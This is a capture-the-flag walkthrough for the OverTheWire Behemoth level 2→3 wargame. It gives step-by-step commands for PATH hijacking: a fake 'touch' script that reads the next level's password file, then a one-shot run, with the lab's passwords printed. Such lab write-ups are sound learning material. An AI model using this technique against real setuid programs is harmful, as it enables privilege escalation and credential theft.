OverTheWire Behemoth Level 2 → 3 tutorial!!
Login
Log in as behemoth2 using the password you obtained from Level 1 → 2.
ssh behemoth2@behemoth.labs.overthewire.org -p 2221
# password: eimahquuof
Task
The binary /behemoth/behemoth2 uses system("touch <pid>").
Our goal is to hijack the program’s call to touch so that it runs our own script instead, revealing the password for behemoth3.
A little bit of Theory
system()looks up executables according to the $PATH environment variable.- If we put our own directory first in
$PATHand create a faketouchbinary, the program will execute ours. - This is known as a PATH hijacking attack.
- Our fake
touchjust callscat /etc/behemoth_pass/behemoth3.
Solution
-
Confirm program behavior with ltrace
ltrace ./behemoth2You’ll see a call like:
system("touch 17924")confirming it tries to execute
touch. -
Create a fake
touchmkdir /tmp/fake cd /tmp/fake echo "cat /etc/behemoth_pass/behemoth3" > touch chmod 777 touch -
Prepend our directory to PATH
export PATH=/tmp/fake:$PATH -
Run the vulnerable binary
/behemoth/behemoth2Since
$PATHpoints to our fake script first, it executes ourtouch, which prints the next password.
Password
This is the password from my run; if yours differs, use the one your terminal printed.
nietiediel
Troubleshooting
- Still calling real touch → Make sure
/tmp/fakeis the first entry in$PATH. - Permission denied → Ensure your fake
touchis executable (chmod +x touch). - No output → Your fake script must only contain:
cat /etc/behemoth_pass/behemoth3
Copy-paste quick run (one shot)
ssh behemoth2@behemoth.labs.overthewire.org -p 2221
# password: eimahquuof
mkdir /tmp/fake && cd /tmp/fake
echo "cat /etc/behemoth_pass/behemoth3" > touch
chmod 777 touch
export PATH=/tmp/fake:$PATH
/behemoth/behemoth2
# → should print password for behemoth3
Congrats 🎉 You hijacked the system() call by overriding $PATH, tricked the binary into running your fake touch, and obtained the password for behemoth3!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨
